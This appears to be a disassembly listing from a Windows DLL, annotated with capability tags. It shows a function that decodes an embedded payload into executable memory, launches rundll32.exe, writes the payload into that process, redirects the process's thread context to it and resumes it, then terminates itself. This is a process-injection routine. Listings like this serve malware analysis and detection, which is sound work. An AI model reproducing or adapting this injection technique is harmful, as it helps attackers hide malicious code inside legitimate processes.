Function at 0x180018721
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread
Terminate process

Disassembly:
jmp 0x18002c430
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1008
call fcn.1800182b7
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x2ce
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1028]
mov rax, qword [0x180057900]
xor rax, rbp
mov qword [rbp + 0xfa0], rax
lea rcx, [0x180060013]
call fcn.180018e3d
mov eax, dword [rbp + 0xfd8]
mov dword [rbp + 0xf84], eax
cmp dword [rbp + 0xf84], 1
je 0x18002c4a2
jmp 0x18002c985
mov byte [rbp + 0xf74], 0
xor r9d, r9d
lea r8, str.DllMain
lea rdx, [0x18004ee1c]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xd78]
call fcn.180018681
mov qword [rbp + 0xf88], rax
mov rax, qword [rbp + 0xf88]
mov qword [rbp + 0xf90], rax
mov r8, 0xffffffffffffffff
lea rdx, [0x18004ee24]
mov rcx, qword [rbp + 0xf90]
call fcn.180018acd
mov qword [rbp + 0x138], rax
lea rcx, [rbp + 0xd78]
call fcn.1800182c6
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xdb8]
call fcn.180018681
mov qword [rbp + 0xf88], rax
mov rax, qword [rbp + 0xf88]
mov qword [rbp + 0xf90], rax
mov rax, qword [rbp + 0xf90]
mov qword [rbp + 0xf98], rax
mov r9, qword [rbp + 0x138]
xor r8d, r8d
lea rdx, [rbp + 0x158]
mov rcx, qword [rbp + 0xf98]
call fcn.180018767
nop
lea rcx, [rbp + 0xdb8]
call fcn.1800182c6
lea rdx, str..exe
lea rcx, [rbp + 0x198]
call fcn.180018681
nop
xor r8d, r8d
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0xdf8]
call fcn.180018b3b
nop
lea rdx, [rbp + 0xdf8]
lea rcx, [rbp + 0x218]
call fcn.180018e24
nop
lea rax, [rbp + 0x218]
mov qword [rbp + 0x1f8], rax
lea rcx, [rbp + 0xdf8]
call fcn.180018cee
mov edx, 0x10
lea rcx, [rbp + 0x248]
call fcn.180018505
lea rax, [rbp + 0xe38]
mov qword [rbp + 0xe68], rax
mov rdx, qword [rbp + 0x1f8]
mov rcx, qword [rbp + 0xe68]
call fcn.180018690
mov qword [rbp + 0xf88], rax
mov rdx, qword [rbp + 0xf88]
lea rcx, [rbp + 0x248]
call fcn.180018262
nop
mov edx, 0x10
lea rcx, [rbp + 0x278]
call fcn.180018505
lea rax, [rbp + 0xe88]
mov qword [rbp + 0xeb8], rax
mov rdx, qword [rbp + 0x1f8]
mov rcx, qword [rbp + 0xeb8]
call fcn.180018690
mov qword [rbp + 0xf88], rax
mov rdx, qword [rbp + 0xf88]
lea rcx, [rbp + 0x278]
call fcn.18001859b
nop
jmp 0x18002c684
lea rcx, [rbp + 0x248]
call fcn.180018677
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x248]
call fcn.1800188fc
movzx eax, al
test eax, eax
jne 0x18002c76b
lea rcx, [rbp + 0x248]
call fcn.18001886b
mov qword [rbp + 0x2a8], rax
xor r8d, r8d
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0xef8]
call fcn.180018b3b
nop
mov rcx, qword [rbp + 0x2a8]
call fcn.1800188a7
mov qword [rbp + 0xf88], rax
lea rdx, [rbp + 0xf38]
mov rcx, qword [rbp + 0xf88]
call fcn.180018267
mov qword [rbp + 0xf90], rax
lea rdx, [rbp + 0xef8]
mov rcx, qword [rbp + 0xf90]
call fcn.18001812c
mov byte [rbp + 0xed4], al
lea rcx, [rbp + 0xf38]
call fcn.180018cee
nop
lea rcx, [rbp + 0xef8]
call fcn.180018cee
movzx eax, byte [rbp + 0xed4]
test eax, eax
je 0x18002c766
mov rcx, qword [rbp + 0x2a8]
call fcn.1800188a7
mov rcx, rax
call fcn.180018e97
mov ecx, 2
imul rcx, rcx, 1
movzx eax, word [rax + rcx]
mov byte [rbp + 0xf74], 1
mov dword [rbp + 0x1d4], eax
jmp 0x18002c76b
jmp 0x18002c678
lea rcx, [rbp + 0x278]
call fcn.180018177
nop
lea rcx, [rbp + 0x248]
call fcn.180018177
nop
lea rcx, [rbp + 0x218]
call fcn.180018177
cmp byte [rbp + 0xf74], 0
jne 0x18002c7a6
lea rcx, [0x18004e1e0]
call fcn.180018271
lea rax, section..data
movsxd rcx, dword [rbp + 0x1d4]
lea rax, [rax + rcx - 0x3a]
mov r8d, 0x3012
mov edx, dword [0x180057380]
mov rcx, rax
call fcn.1800183e3
mov qword [rbp + 0x2c8], rax
mov eax, dword [0x180057380]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x2e8], rax
mov eax, dword [0x180057380]
mov r8d, eax
mov rdx, qword [rbp + 0x2c8]
mov rcx, qword [rbp + 0x2e8]
call fcn.1800186f4
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x340]
call fcn.180018aaf
mov dword [rbp + 0x340], 0x44
lea rax, [rbp + 0x308]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x340]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.rundll32.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0x8d4], eax
cmp dword [rbp + 0x8d4], 0
je 0x18002c95a
mov dword [rbp + 0x420], 0x10003
lea rdx, [rbp + 0x3f0]
mov rcx, qword [rbp + 0x310]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [0x180057380]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 0x308]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x3c8], rax
mov eax, dword [0x180057380]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0x2e8]
mov rdx, qword [rbp + 0x3c8]
mov rcx, qword [rbp + 0x308]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x4e8], rax
lea rdx, [rbp + 0x3f0]
mov rcx, qword [rbp + 0x310]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0x310]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 0x310]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x308]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x8d4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
lea rcx, [rbp + 0x198]
call fcn.1800182c6
nop
lea rcx, [rbp + 0x158]
call fcn.1800182c6
mov eax, 1
jmp 0x18002c9a6
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x18004e490]
call fcn.180018bbd
mov rax, rdi
mov rcx, qword [rbp + 0xfa0]
xor rcx, rbp
call fcn.1800186ea
lea rsp, [rbp + 0xfb8]
pop rdi
pop rbp
ret